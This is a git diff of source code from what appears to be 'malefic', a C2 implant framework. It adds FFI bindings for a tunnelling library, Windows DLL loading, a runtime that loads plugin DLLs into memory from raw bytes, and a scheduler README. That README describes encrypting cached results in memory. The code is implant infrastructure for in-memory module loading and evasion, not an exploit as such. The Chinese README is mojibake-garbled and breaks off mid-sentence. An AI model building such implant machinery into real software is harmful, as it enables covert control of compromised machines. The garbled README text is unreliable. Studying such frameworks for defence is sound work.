Option, } @@ -91,15 +108,14 @@ pub fn rem_dial(cmdline: &str) -> Result { let funcs = get_functions()?; unsafe { let c_cmdline = CString::new(cmdline).map_err(|e| e.to_string())?; - let (agent_id_ptr, err_code) = (funcs.rem_dial.unwrap())(c_cmdline.as_ptr()); - - if err_code != 0 { - Err(handle_rem_error(err_code)) + let result = (funcs.rem_dial.unwrap())(c_cmdline.as_ptr()); + if result.err != 0 { + Err(handle_rem_error(result.err)) } else { - if agent_id_ptr.is_null() { + if result.ptr.is_null() { return Err("Invalid agent ID".to_string()); } - let agent_id = CStr::from_ptr(agent_id_ptr).to_string_lossy().into_owned(); + let agent_id = CStr::from_ptr(result.ptr).to_string_lossy().into_owned(); Ok(agent_id) } } @@ -110,12 +126,11 @@ pub fn memory_dial(memhandle: &str, dst: &str) -> Result { unsafe { let c_memhandle = CString::new(memhandle).map_err(|e| e.to_string())?; let c_dst = CString::new(dst).map_err(|e| e.to_string())?; - let (handle, err_code) = (funcs.memory_dial.unwrap())(c_memhandle.as_ptr(), c_dst.as_ptr()); - - if err_code != 0 { - Err(handle_rem_error(err_code)) + let result = (funcs.memory_dial.unwrap())(c_memhandle.as_ptr(), c_dst.as_ptr()); + if result.err != 0 { + Err(handle_rem_error(result.err)) } else { - Ok(handle) + Ok(result.val) } } } @@ -123,16 +138,41 @@ pub fn memory_dial(memhandle: &str, dst: &str) -> Result { pub fn memory_read(handle: i32, buf: &mut [u8]) -> Result { let funcs = get_functions()?; unsafe { - let (n, err_code) = (funcs.memory_read.unwrap())( + let result = (funcs.memory_read.unwrap())( handle, buf.as_mut_ptr() as *mut c_void, buf.len() as c_int, ); + if result.err != 0 { + Err(handle_rem_error(result.err)) + } else { + Ok(result.val as usize) + } + } +} - if err_code != 0 { - Err(handle_rem_error(err_code)) +/// Non-blocking read: returns immediately with data or `WouldBlock`. +/// +/// Calls the Go-side `MemoryTryRead` which checks the internal buffer +/// without touching deadlines or blocking. Pure memory operation. +/// +/// Falls back to `WouldBlock` if the linked librem does not export +/// `MemoryTryRead` (old version without BufferedConn). +pub fn memory_try_read(handle: i32, buf: &mut [u8]) -> Result { + let funcs = get_functions().map_err(RemError::Other)?; + unsafe { + let result = if let Some(func) = funcs.memory_try_read { + func(handle, buf.as_mut_ptr() as *mut c_void, buf.len() as c_int) + } else { + // Fallback: old librem without MemoryTryRead. + return Err(RemError::WouldBlock); + }; + if result.err == ERR_WOULD_BLOCK { + Err(RemError::WouldBlock) + } else if result.err != 0 { + Err(RemError::Other(handle_rem_error(result.err))) } else { - Ok(n as usize) + Ok(result.val as usize) } } } @@ -140,16 +180,15 @@ pub fn memory_read(handle: i32, buf: &mut [u8]) -> Result { pub fn memory_write(handle: i32, buf: &[u8]) -> Result { let funcs = get_functions()?; unsafe { - let (n, err_code) = (funcs.memory_write.unwrap())( + let result = (funcs.memory_write.unwrap())( handle, buf.as_ptr() as *const c_void, buf.len() as c_int, ); - - if err_code != 0 { - Err(handle_rem_error(err_code)) + if result.err != 0 { + Err(handle_rem_error(result.err)) } else { - Ok(n as usize) + Ok(result.val as usize) } } } diff --git a/malefic-crates/rem/src/rem_dynamic.rs b/malefic-crates/rem/src/rem_dynamic.rs new file mode 100644 index 0000000..2e72380 --- /dev/null +++ b/malefic-crates/rem/src/rem_dynamic.rs @@ -0,0 +1,110 @@ +use crate::{IntPairResult, RemApi, RemDialResult, RemFunctions}; +use std::os::raw::{c_char, c_int, c_void}; + +pub struct RemDynamic; + +type RemDialFn = unsafe extern "C" fn(*const c_char) -> RemDialResult; +type MemoryDialFn = unsafe extern "C" fn(*const c_char, *const c_char) -> IntPairResult; +type MemoryReadFn = unsafe extern "C" fn(c_int, *mut c_void, c_int) -> IntPairResult; +type MemoryTryReadFn = unsafe extern "C" fn(c_int, *mut c_void, c_int) -> IntPairResult; +type MemoryWriteFn = unsafe extern "C" fn(c_int, *const c_void, c_int) -> IntPairResult; +type MemoryCloseFn = unsafe extern "C" fn(c_int) -> c_int; +type CleanupAgentFn = unsafe extern "C" fn(); +type RemInitFn = unsafe extern "C" fn() -> c_int; + +static mut REM_FUNCTIONS: RemFunctions = RemFunctions { + rem_dial: None, + memory_dial: None, + memory_read: None, + memory_try_read: None, + memory_write: None, + memory_close: None, + cleanup_agent: None, +}; + +static mut LOADED: bool = false; + +#[cfg(target_os = "windows")] +mod platform { + use std::ffi::CString; + use std::os::raw::c_char; + + type HMODULE = *mut std::ffi::c_void; + type FARPROC = *mut std::ffi::c_void; + + extern "system" { + fn LoadLibraryA(lpFileName: *const c_char) -> HMODULE; + fn GetProcAddress(hModule: HMODULE, lpProcName: *const c_char) -> FARPROC; + fn GetLastError() -> u32; + } + + pub unsafe fn load_library(name: &str) -> Result<*mut std::ffi::c_void, String> { + let c_name = CString::new(name).map_err(|e| e.to_string())?; + let h = LoadLibraryA(c_name.as_ptr()); + if h.is_null() { + Err(format!( + "LoadLibraryA({}) failed, error={}", + name, + GetLastError() + )) + } else { + Ok(h) + } + } + + pub unsafe fn get_proc( + module: *mut std::ffi::c_void, + name: &str, + ) -> Result<*mut std::ffi::c_void, String> { + let c_name = CString::new(name).map_err(|e| e.to_string())?; + let p = GetProcAddress(module, c_name.as_ptr()); + if p.is_null() { + Err(format!( + "GetProcAddress({}) failed, error={}", + name, + GetLastError() + )) + } else { + Ok(p) + } + } +} + +unsafe fn load_dll() -> Result<(), String> { + if LOADED { + return Ok(()); + } + + let dll = platform::load_library("librem_tinygo.dll")?; + + // RemInit must be called first to initialize TinyGo runtime + let rem_init: RemInitFn = std::mem::transmute(platform::get_proc(dll, "RemInit")?); + let ret = rem_init(); + if ret != 0 { + return Err(format!("RemInit() failed with code {}", ret)); + } + + REM_FUNCTIONS.rem_dial = Some(std::mem::transmute(platform::get_proc(dll, "RemDial")?)); + REM_FUNCTIONS.memory_dial = Some(std::mem::transmute(platform::get_proc(dll, "MemoryDial")?)); + REM_FUNCTIONS.memory_read = Some(std::mem::transmute(platform::get_proc(dll, "MemoryRead")?)); + REM_FUNCTIONS.memory_try_read = match platform::get_proc(dll, "MemoryTryRead") { + Ok(proc) => Some(std::mem::transmute::<*mut std::ffi::c_void, MemoryTryReadFn>(proc)), + Err(_) => None, + }; + REM_FUNCTIONS.memory_write = Some(std::mem::transmute(platform::get_proc(dll, "MemoryWrite")?)); + REM_FUNCTIONS.memory_close = Some(std::mem::transmute(platform::get_proc(dll, "MemoryClose")?)); + REM_FUNCTIONS.cleanup_agent = Some(std::mem::transmute(platform::get_proc( + dll, + "CleanupAgent", + )?)); + + LOADED = true; + Ok(()) +} + +impl RemApi for RemDynamic { + unsafe fn get_functions(&self) -> Result<&RemFunctions, String> { + load_dll()?; + Ok(&REM_FUNCTIONS) + } +} diff --git a/malefic-helper/src/common/rem/rem_static.rs b/malefic-crates/rem/src/rem_static.rs similarity index 71% rename from malefic-helper/src/common/rem/rem_static.rs rename to malefic-crates/rem/src/rem_static.rs index 8d726da..41e88dc 100644 --- a/malefic-helper/src/common/rem/rem_static.rs +++ b/malefic-crates/rem/src/rem_static.rs @@ -1,15 +1,15 @@ -use crate::common::rem::{ - CleanupAgent, MemoryClose, MemoryDial, MemoryRead, - MemoryWrite, RemApi, RemDial, RemFunctions, +use crate::{ + CleanupAgent, MemoryClose, MemoryDial, MemoryRead, MemoryTryRead, MemoryWrite, RemApi, RemDial, + RemFunctions, }; - pub struct RemStatic; static REM_FUNCTIONS: RemFunctions = RemFunctions { rem_dial: Some(RemDial), memory_dial: Some(MemoryDial), memory_read: Some(MemoryRead), + memory_try_read: Some(MemoryTryRead), memory_write: Some(MemoryWrite), memory_close: Some(MemoryClose), cleanup_agent: Some(CleanupAgent), diff --git a/malefic-crates/runtime/Cargo.toml b/malefic-crates/runtime/Cargo.toml new file mode 100644 index 0000000..5ccce88 --- /dev/null +++ b/malefic-crates/runtime/Cargo.toml @@ -0,0 +1,33 @@ +[package] +name = "malefic-runtime" +version = "0.1.0" +edition = "2021" +description = "Cross-version, cross-target module runtime via pure C ABI + protobuf" + +[features] +default = [] +loader = ["dep:malefic-loader"] +tokio = ["malefic-common/tokio"] +async-std = ["malefic-common/async-std"] +smol = ["malefic-common/smol"] + +[dependencies] +malefic-proto = { workspace = true } +malefic-common = { workspace = true } +malefic-module = { workspace = true, features = ["ffi"] } +malefic-loader = { workspace = true, optional = true, default-features = false } +anyhow = { workspace = true } + +async-trait = { workspace = true } +futures = { workspace = true } +futures-channel = { workspace = true } + +[dev-dependencies] +tokio = { workspace = true, features = ["macros", "rt-multi-thread"] } +futures = { workspace = true } +futures-channel = { workspace = true } +malefic-loader = { workspace = true, default-features = true } +malefic-macro = { workspace = true } +malefic-gateway = { workspace = true } +async-trait = { workspace = true } +anyhow = { workspace = true } diff --git a/malefic-crates/runtime/src/host.rs b/malefic-crates/runtime/src/host.rs new file mode 100644 index 0000000..eb0c8d2 --- /dev/null +++ b/malefic-crates/runtime/src/host.rs @@ -0,0 +1,629 @@ +//! Host-side bridge: wraps C ABI module exports into standard `Module` trait objects. +//! +//! The bridge uses `std::sync::mpsc` channels + `spawn_blocking` to connect +//! the blocking `rt_module_run` call with the async runtime. +//! Runtime-agnostic: uses `malefic_common::{spawn, spawn_blocking, join_handle}` +//! instead of tokio-specific APIs. + +use std::sync::{mpsc as std_mpsc, Arc}; + +/// Wrapper to make raw pointers `Send` for use in async tasks. +/// SAFETY: Caller must guarantee the pointee outlives the task. +struct SendPtr(usize); +unsafe impl Send for SendPtr {} +unsafe impl Sync for SendPtr {} +impl SendPtr { + fn new(ptr: *mut T) -> Self { + Self(ptr as usize) + } + unsafe fn as_mut(&self) -> &mut T { + &mut *(self.0 as *mut T) + } +} + +use async_trait::async_trait; +use futures::StreamExt; + +use malefic_module::{ + Input, MaleficBundle, MaleficModule, Module, ModuleImpl, ModuleResult, Output, TaskResult, +}; +use malefic_proto::proto::implantpb::spite::Body; +use malefic_proto::proto::implantpb::{Spite, Status}; + +use crate::abi::{ + RtBuffer, RtHostFreeFn, RtModuleHandle, RtRecvFn, RtSendFn, RtStatus, RtTryRecvFn, +}; +use crate::codec; + +// ── BridgeContext + Trampolines ───────────────────────────────────────────── + +/// Sync bridge between the blocking `rt_module_run` thread and the async host. +/// +/// Also used by `malefic-runtime-ffi` to drive modules from a synchronous FFI host. +pub struct BridgeContext { + pub output_tx: std_mpsc::Sender>, + pub input_rx: std_mpsc::Receiver>, +} + +pub unsafe extern "C" fn bridge_send( + ctx: *mut core::ffi::c_void, + data: *const u8, + len: u32, +) -> i32 { + let bridge = &*(ctx as *const BridgeContext); + let bytes = core::slice::from_raw_parts(data, len as usize).to_vec(); + if bridge.output_tx.send(bytes).is_ok() { + 0 + } else { + -1 + } +} + +pub unsafe extern "C" fn bridge_recv( + ctx: *mut core::ffi::c_void, + out_data: *mut *mut u8, + out_len: *mut u32, +) -> i32 { + let bridge = &*(ctx as *const BridgeContext); + match bridge.input_rx.recv() { + Ok(bytes) => { + let buf = RtBuffer::from_vec(bytes); + *out_data = buf.ptr; + *out_len = buf.len; + core::mem::forget(buf); + 0 + } + Err(_) => -1, + } +} + +pub unsafe extern "C" fn bridge_try_recv( + ctx: *mut core::ffi::c_void, + out_data: *mut *mut u8, + out_len: *mut u32, +) -> i32 { + let bridge = &*(ctx as *const BridgeContext); + match bridge.input_rx.try_recv() { + Ok(bytes) => { + let buf = RtBuffer::from_vec(bytes); + *out_data = buf.ptr; + *out_len = buf.len; + core::mem::forget(buf); + 0 + } + Err(std_mpsc::TryRecvError::Empty) => -1, + Err(std_mpsc::TryRecvError::Disconnected) => -2, + } +} + +pub unsafe extern "C" fn bridge_host_free(ptr: *mut u8, len: u32) { + if !ptr.is_null() && len > 0 { + let _ = Vec::from_raw_parts(ptr, len as usize, len as usize); + } +} + +// ── RtVTable ──────────────────────────────────────────────────────────────── + +/// Resolved function pointers from a module DLL. +pub struct RtVTable { + pub abi_version: unsafe extern "C" fn() -> u32, + pub module_count: unsafe extern "C" fn() -> u32, + pub module_name: unsafe extern "C" fn(u32) -> RtBuffer, + pub module_create: unsafe extern "C" fn(*const u8, u32) -> *mut RtModuleHandle, + pub module_destroy: unsafe extern "C" fn(*mut RtModuleHandle), + pub module_run: unsafe extern "C" fn( + *mut RtModuleHandle, + u32, + *mut core::ffi::c_void, + RtSendFn, + RtRecvFn, + RtTryRecvFn, + RtHostFreeFn, + *mut RtBuffer, + ) -> RtStatus, + pub free: unsafe extern "C" fn(RtBuffer), +} + +unsafe impl Send for RtVTable {} +unsafe impl Sync for RtVTable {} + +impl RtVTable { + pub unsafe fn resolve(find_export: F) -> Option + where + F: Fn(&str) -> Option<*const core::ffi::c_void>, + { + macro_rules! resolve_fn { + ($name:expr, $ty:ty) => { + core::mem::transmute::<*const core::ffi::c_void, $ty>(find_export($name)?) + }; + } + + let vtable = Self { + abi_version: resolve_fn!("rt_abi_version", unsafe extern "C" fn() -> u32), + module_count: resolve_fn!("rt_module_count", unsafe extern "C" fn() -> u32), + module_name: resolve_fn!("rt_module_name", unsafe extern "C" fn(u32) -> RtBuffer), + module_create: resolve_fn!( + "rt_module_create", + unsafe extern "C" fn(*const u8, u32) -> *mut RtModuleHandle + ), + module_destroy: resolve_fn!( + "rt_module_destroy", + unsafe extern "C" fn(*mut RtModuleHandle) + ), + module_run: resolve_fn!( + "rt_module_run", + unsafe extern "C" fn( + *mut RtModuleHandle, + u32, + *mut core::ffi::c_void, + RtSendFn, + RtRecvFn, + RtTryRecvFn, + RtHostFreeFn, + *mut RtBuffer, + ) -> RtStatus + ), + free: resolve_fn!("rt_free", unsafe extern "C" fn(RtBuffer)), + }; + + if (vtable.abi_version)() != crate::abi::RT_ABI_VERSION { + return None; + } + + Some(vtable) + } +} + +// ── RtBufferGuard ─────────────────────────────────────────────────────────── + +struct RtBufferGuard { + buf: RtBuffer, + free_fn: unsafe extern "C" fn(RtBuffer), +} + +impl RtBufferGuard { + fn new(buf: RtBuffer, free_fn: unsafe extern "C" fn(RtBuffer)) -> Self { + Self { buf, free_fn } + } + + fn as_bytes(&self) -> &[u8] { + unsafe { self.buf.as_bytes() } + } +} + +impl Drop for RtBufferGuard { + fn drop(&mut self) { + if !self.buf.ptr.is_null() && self.buf.len > 0 { + let buf = core::mem::replace(&mut self.buf, RtBuffer::empty()); + unsafe { (self.free_fn)(buf) }; + } + } +} + +// ── RtBundle ──────────────────────────────────────────────────────────────── + +pub struct RtBundle { + vtable: Arc, + module_names: Vec, +} + +impl RtBundle { + pub unsafe fn try_new(vtable: RtVTable) -> Option { + let count = (vtable.module_count)(); + let mut names = Vec::with_capacity(count as usize); + + for i in 0..count { + let buf = RtBufferGuard::new((vtable.module_name)(i), vtable.free); + let name = core::str::from_utf8(buf.as_bytes()) + .unwrap_or("") + .to_string(); + if !name.is_empty() { + names.push(name); + } + } + + Some(Self { + vtable: Arc::new(vtable), + module_names: names, + }) + } + + pub fn module_names(&self) -> &[String] { + &self.module_names + } + + pub fn into_bundle(self) -> MaleficBundle { + let mut map = MaleficBundle::new(); + for name in &self.module_names { + let module = RtModuleProxy { + name: name.clone(), + vtable: Arc::clone(&self.vtable), + }; + map.insert(name.clone(), Box::new(module) as Box); + } + map + } +} + +// ── RtModuleProxy ─────────────────────────────────────────────────────────── + +pub struct RtModuleProxy { + name: String, + vtable: Arc, +} + +unsafe impl Send for RtModuleProxy {} +unsafe impl Sync for RtModuleProxy {} + +#[async_trait] +impl Module for RtModuleProxy { + fn name() -> &'static str + where + Self: Sized, + { + "rt_module" + } + fn new() -> Self + where + Self: Sized, + { + unreachable!("RtModuleProxy is created via RtBundle") + } + fn new_instance(&self) -> Box { + Box::new(RtModuleProxy { + name: self.name.clone(), + vtable: Arc::clone(&self.vtable), + }) + } +} + +#[async_trait] +impl ModuleImpl for RtModuleProxy { + async fn run( + &mut self, + id: u32, + recv_channel: &mut Input, + send_channel: &mut Output, + ) -> ModuleResult { + // 1. Create module instance — store as usize to avoid !Send issues. + let handle_addr = unsafe { + let h = (self.vtable.module_create)(self.name.as_ptr(), self.name.len() as u32); + if h.is_null() { + return Err(anyhow::anyhow!("failed to create module '{}'", self.name)); + } + h as usize + }; + let destroy_fn_addr = self.vtable.module_destroy as usize; + let run_fn_addr = self.vtable.module_run as usize; + + // 2. Create sync channel pairs. + let (input_sync_tx, input_sync_rx) = std_mpsc::channel::>(); + let (output_sync_tx, output_sync_rx) = std_mpsc::channel::>(); + + // 3. Input forwarder: async recv_channel → sync input_tx. + // Uses a shared flag to signal shutdown instead of abort(). + let input_shutdown = Arc::new(std::sync::atomic::AtomicBool::new(false)); + let input_shutdown_clone = input_shutdown.clone(); + let tx = input_sync_tx; + let recv_send = SendPtr::new(recv_channel as *mut Input); + let _input_task = malefic_common::spawn(async move { + while !input_shutdown_clone.load(std::sync::atomic::Ordering::Relaxed) { + let recv = unsafe { recv_send.as_mut::() }; + match recv.next().await { + Some(body) => { + let spite = Spite { + task_id: id, + body: Some(body), + ..Default::default() + }; + let bytes = codec::encode_spite(&spite); + if tx.send(bytes).is_err() { + break; + } + } + None => break, + } + } + }); + + // 4. Output reader: sync output_rx → async send_channel. + // Uses spawn_blocking to bridge sync recv → async send. + let output_sender = send_channel.clone(); + let (async_out_tx, mut async_out_rx) = futures_channel::mpsc::unbounded::>(); + + let _output_reader = malefic_common::spawn_blocking(move || { + while let Ok(bytes) = output_sync_rx.recv() { + if async_out_tx.unbounded_send(bytes).is_err() { + break; + } + } + }); + + let output_forwarder = malefic_common::spawn(async move { + while let Some(bytes) = async_out_rx.next().await { + if let Ok(spite) = codec::decode_spite(&bytes) { + let body = spite.body.unwrap_or(Body::Empty(Default::default())); + let status = spite.status.unwrap_or(Status { + task_id: id, + status: 0, + error: String::default(), + }); + let _ = output_sender.unbounded_send(TaskResult { + task_id: id, + body, + status, + }); + } + } + }); + + // 5. Blocking call: rt_module_run. + let free_fn_addr = self.vtable.free as usize; + let module_result = malefic_common::spawn_blocking(move || { + type RunFnType = unsafe extern "C" fn( + *mut RtModuleHandle, + u32, + *mut core::ffi::c_void, + RtSendFn, + RtRecvFn, + RtTryRecvFn, + RtHostFreeFn, + *mut RtBuffer, + ) -> RtStatus; + + let run_fn: RunFnType = unsafe { core::mem::transmute(run_fn_addr) }; + let handle_ptr = handle_addr as *mut RtModuleHandle; + + let bridge = BridgeContext { + output_tx: output_sync_tx, + input_rx: input_sync_rx, + }; + let ctx = &bridge as *const BridgeContext as *mut core::ffi::c_void; + + let mut final_out = RtBuffer::empty(); + let status = unsafe { + run_fn( + handle_ptr, + id, + ctx, + bridge_send, + bridge_recv, + bridge_try_recv, + bridge_host_free, + &mut final_out, + ) + }; + // Copy the output bytes, then free via the MODULE's rt_free (not host's). + // final_out was allocated by the module DLL — using host's allocator + // to free it would be UB when compiled with a different Rust version. + let out_bytes = unsafe { final_out.as_bytes().to_vec() }; + if !final_out.is_empty() { + let module_free: unsafe extern "C" fn(RtBuffer) = + unsafe { core::mem::transmute(free_fn_addr) }; + unsafe { module_free(final_out) }; + } + (status, out_bytes) + // BridgeContext drops here → output_tx dropped → output_reader exits + }); + + // 6. Wait for the module to finish. + let (status, out_bytes) = malefic_common::join_handle(module_result).await?; + + // Signal input forwarder to stop. + input_shutdown.store(true, std::sync::atomic::Ordering::Relaxed); + + // Destroy the module instance. + // This drops BridgeContext.output_tx → output_reader detects disconnect + // → drops async_out_tx → output_forwarder stream ends. + unsafe { + let destroy_fn: unsafe extern "C" fn(*mut RtModuleHandle) = + core::mem::transmute(destroy_fn_addr); + destroy_fn(handle_addr as *mut RtModuleHandle); + } + + // Wait for the output forwarder to drain all remaining intermediate results. + let _ = malefic_common::join_handle(output_forwarder).await; + + match status { + RtStatus::Done => { + let spite = codec::decode_spite(&out_bytes)?; + let body = spite.body.unwrap_or(Body::Empty(Default::default())); + let status = spite.status.unwrap_or(Status { + task_id: id, + status: 0, + error: String::default(), + }); + Ok(TaskResult { + task_id: id, + body, + status, + }) + } + RtStatus::Error => { + let msg = core::str::from_utf8(&out_bytes).unwrap_or("unknown error"); + Err(anyhow::anyhow!("module '{}': {}", self.name, msg)) + } + } + } +} + +// ── RtBridge ────────────────────────────────────────────────────────────── +// +// Wraps any `Box` and overrides `ModuleImpl::run()` to call +// `Module::rt_run()` inside `spawn_blocking`. This ensures all modules +// (built-in and DLL) execute on the blocking thread pool, never on tokio +// workers. +// +// Used by Manager::reload() to wrap every registered module. + +pub struct RtBridge { + inner: Box, +} + +impl RtBridge { + pub fn wrap(module: Box) -> Box { + Box::new(Self { inner: module }) + } +} + +// ── PluginLoader ─────────────────────────────────────────────────────────── +// +// Owns the lifecycle of a loaded DLL: load → resolve → enumerate → unload. +// Manager calls PluginLoader; PluginLoader calls malefic-loader for PE ops +// and RtVTable/RtBundle for C ABI resolution. + +use std::collections::HashMap; + +/// A loaded plugin DLL with its resolved modules. +pub struct LoadedPlugin { + /// Opaque PE handle from malefic-loader. Kept alive so exports remain valid. + handle: *const core::ffi::c_void, + /// Module names exported by this plugin. + module_names: Vec, +} + +unsafe impl Send for LoadedPlugin {} +unsafe impl Sync for LoadedPlugin {} + +impl LoadedPlugin { + pub fn module_names(&self) -> &[String] { + &self.module_names + } +} + +/// Manages loaded plugin DLLs and their module lifecycles. +pub struct PluginLoader { + /// plugin_name → LoadedPlugin + plugins: HashMap, +} + +impl PluginLoader { + pub fn new() -> Self { + Self { + plugins: HashMap::new(), + } + } + + /// Load a DLL from raw bytes, resolve rt_* C ABI exports, return modules. + /// + /// The DLL handle is kept alive internally. Call `unload()` to free it. + /// Returns `(plugin_name, MaleficBundle)` on success. + #[cfg(all(target_os = "windows", feature = "loader"))] + pub unsafe fn load( + &mut self, + name: String, + bin: Vec, + ) -> Result { + let handle = malefic_loader::hot_modules::load_module(bin, name.clone()) + .map_err(|e| anyhow::anyhow!("PE load failed: {:?}", e))?; + + let vtable = RtVTable::resolve(|export_name| { + malefic_loader::hot_modules::find_export(handle, export_name) + }) + .ok_or_else(|| anyhow::anyhow!("no rt_* exports found in '{}'", name))?; + + let rt_bundle = RtBundle::try_new(vtable) + .ok_or_else(|| anyhow::anyhow!("RtBundle init failed for '{}'", name))?; + + let module_names = rt_bundle.module_names().to_vec(); + let bundle = rt_bundle.into_bundle(); + + self.plugins.insert( + name, + LoadedPlugin { + handle, + module_names, + }, + ); + + Ok(bundle) + } + + /// Unload a previously loaded plugin DLL. + /// + /// Returns the list of module names that were provided by this plugin, + /// so the caller can remove them from the module registry. + #[cfg(all(target_os = "windows", feature = "loader"))] + pub unsafe fn unload(&mut self, name: &str) -> Option> { + if let Some(plugin) = self.plugins.remove(name) { + let names = plugin.module_names; + // Use no_tls variant: Rust DLLs' DLL_PROCESS_DETACH triggers TLS + // cleanup that can stack overflow in PE-memory-loaded modules. + malefic_loader::hot_modules::unload_pe_no_tls(plugin.handle); + Some(names) + } else { + None + } + } + + /// List all loaded plugin names. + pub fn loaded_plugins(&self) -> Vec<&str> { + self.plugins.keys().map(|s| s.as_str()).collect() + } + + /// Check if a plugin is loaded. + pub fn is_loaded(&self, name: &str) -> bool { + self.plugins.contains_key(name) + } + + /// Return a mapping of module_name → plugin_name for all loaded plugins. + pub fn module_plugin_map(&self) -> HashMap { + let mut map = HashMap::new(); + for (plugin_name, plugin) in &self.plugins { + for module_name in plugin.module_names() { + map.insert(module_name.clone(), plugin_name.clone()); + } + } + map + } +} + +#[async_trait] +impl Module for RtBridge { + fn name() -> &'static str + where + Self: Sized, + { + "rt_bridge" + } + fn new() -> Self + where + Self: Sized, + { + unreachable!("RtBridge is constructed via wrap()") + } + fn new_instance(&self) -> Box { + Self::wrap(self.inner.new_instance()) + } +} + +#[async_trait] +impl ModuleImpl for RtBridge { + async fn run( + &mut self, + id: u32, + recv_channel: &mut Input, + send_channel: &mut Output, + ) -> ModuleResult { + // SAFETY: pointers are valid for the duration of spawn_blocking. + // RtBridge::run() is awaited by scheduler, so self/recv/send outlive + // the blocking task. + // + // For the trait object (fat pointer), we transmute to [usize; 2] to + // capture both data pointer and vtable, then reconstruct on the other side. + let module_raw: [usize; 2] = + unsafe { core::mem::transmute(&mut *self.inner as *mut MaleficModule) }; + let recv_ptr = recv_channel as *mut Input as usize; + let send_ptr = send_channel as *mut Output as usize; + + let result = malefic_common::spawn_blocking(move || { + let module: &mut MaleficModule = + unsafe { &mut *core::mem::transmute::<[usize; 2], *mut MaleficModule>(module_raw) }; + let recv = unsafe { &mut *(recv_ptr as *mut Input) }; + let send = unsafe { &mut *(send_ptr as *mut Output) }; + module.rt_run(id, recv, send) + }); + + malefic_common::join_handle(result).await? + } +} diff --git a/malefic-crates/runtime/src/lib.rs b/malefic-crates/runtime/src/lib.rs new file mode 100644 index 0000000..f9ba5b8 --- /dev/null +++ b/malefic-crates/runtime/src/lib.rs @@ -0,0 +1,25 @@ +//! `malefic-runtime` — Cross-version, cross-target module runtime. +//! +//! This crate defines a pure C ABI protocol for hot-loading module DLLs +//! compiled with different Rust versions or targets. Data crosses the FFI +//! boundary as protobuf-encoded `Spite` messages; no Rust-internal types +//! ever cross the boundary. +//! +//! # Modules +//! +//! - [`abi`] / [`codec`] / [`module_sdk`]: Re-exported from `malefic-module` +//! (canonical definitions live there). Used by module DLLs to implement +//! the C ABI protocol via [`register_rt_modules!`]. +//! - [`host`] (feature `host`): Host-side bridge that wraps C ABI modules +//! into standard `Module` trait objects, transparent to the scheduler. +//! Requires a runtime feature (`tokio` / `async-std` / `smol`). + +// Re-export from malefic-module so existing `malefic_runtime::abi::*` paths still work. +pub use malefic_module::abi; +pub use malefic_module::codec; +pub use malefic_module::module_sdk; + +// Re-export the registration macro for backward compatibility. +pub use malefic_module::register_rt_modules; + +pub mod host; diff --git a/malefic-crates/scheduler/Cargo.toml b/malefic-crates/scheduler/Cargo.toml new file mode 100644 index 0000000..2ccc024 --- /dev/null +++ b/malefic-crates/scheduler/Cargo.toml @@ -0,0 +1,19 @@ +[package] +name = "malefic-scheduler" +version = "0.1.0" +edition = "2021" + +[features] +default = [] + +[dependencies] +malefic-cron = { workspace = true } +malefic-common = { workspace = true } +malefic-config = { workspace = true } +malefic-proto = { workspace = true } +malefic-crypto = { workspace = true, default-features = true } +malefic-module = { workspace = true } +futures = { workspace = true } +futures-timer = { workspace = true } +anyhow = { workspace = true } +prost = { workspace = true } diff --git a/malefic-crates/scheduler/README.md b/malefic-crates/scheduler/README.md new file mode 100644 index 0000000..fee8139 --- /dev/null +++ b/malefic-crates/scheduler/README.md @@ -0,0 +1,104 @@ +# malefic-scheduler + +异步任务调度器,负责任务的派å‘ã€æ‰§è¡Œã€ç”Ÿå‘½å‘¨æœŸç®¡ç†ä¸Žç»“果收集。 + +## 功能简介 + +- **任务调度 (`Scheduler`)**:通过异步事件循环接收任务请求,将模å—å°è£…ä¸ºç‹¬ç«‹å¼‚æ­¥ä»»åŠ¡å¹¶å‘æ‰§è¡Œ +- **ä»»åŠ¡ç®¡ç† (`TaskManager`)**:维护活跃任务表,支æŒå–æ¶ˆã€æŸ¥è¯¢ã€åˆ—举ã€å®Œæˆç­‰æ“作 +- **结果收集 (`Collector`)**ï¼šæ±‡èšæ‰€æœ‰ä»»åŠ¡äº§å‡ºçš„ç»“æžœï¼ŒæŒ‰éœ€æ‰¹é‡è¿”回给调用方 +- **æµå¼è¾“å…¥/输出**:æ¯ä¸ªä»»åŠ¡æ‹¥æœ‰ç‹¬ç«‹çš„è¾“å…¥/输出通é“,支æŒè¿è¡Œä¸­æŒç»­æŽ¥æ”¶æ•°æ®ä¸Žå‘é€ç»“æžœ +- **è·¨è¿è¡Œæ—¶æ”¯æŒ**:通过 feature 切æ¢åº•层异步è¿è¡Œæ—¶ï¼ˆtokio / async-std / smol) + +## 核心概念 + +### Scheduler + +调度器主循环通过 `futures::select!` åŒæ—¶ç›‘å¬ä¸‰ç±»äº‹ä»¶ï¼š + +1. **任务æäº¤** — 新模å—到达时创建异步任务;已存在的任务 ID 则å‘其输入通é“è¿½åŠ æ•°æ® +2. **任务结果** — 将完æˆçš„结果通过数æ®é€šé“转å‘ç»™ Collector +3. **控制指令** — å¤„ç† `TaskOperator`ï¼ˆå–æ¶ˆã€æŸ¥è¯¢ã€åˆ—举ã€å®Œæˆï¼‰ + +### TaskOperator + +```rust +pub enum TaskOperator { + CancelTask(u32), // å–æ¶ˆæŒ‡å®šä»»åŠ¡ + FinishTask(u32), // 标记任务完æˆå¹¶æ¸…ç† + QueryTask(u32), // 查询å•ä¸ªä»»åŠ¡çŠ¶æ€ + ListTask, // 列举所有活跃任务 +} +``` + +### Collector + +结果收集器在独立å程中è¿è¡Œï¼ŒæŒç»­æŽ¥æ”¶å„ä»»åŠ¡çš„è¾“å‡ºï¼Œå¹¶åœ¨æ”¶åˆ°è¯·æ±‚ä¿¡å·æ—¶å°†å·²ç¼“å­˜çš„ç»“æžœæ‰¹é‡æ‰“包返回。 + +#### 内存加密存储 + +Collector å¯¹ç¼“å­˜çš„ä»»åŠ¡ç»“æžœå®žæ–½å†…å­˜åŠ å¯†ä¿æŠ¤ï¼š + +- **存储时加密**:收到 `Spite` åŽï¼Œå…ˆé€šè¿‡ prost åºåˆ—化为字节,å†ä½¿ç”¨ `Cryptor` 加密åŽå­˜å…¥ç¼“冲区 +- **å‘逿—¶è§£å¯†**:调用 `get_spites()` æ—¶ï¼Œé€æ¡è§£å¯†å¹¶ååºåˆ—化还原为 `Spite`,éšåŽæ¸…空缓冲区并é‡ç½®åР坆噍 +- **密钥管ç†**:æ¯ä¸ª Collector 实例在åˆå§‹åŒ–时生æˆç‹¬ç«‹çš„éšæœºå¯†é’¥ï¼ˆ32 字节 key + 16 字节 iv),密钥仅存在于进程内存中 +- **加密算法**:由 YAML 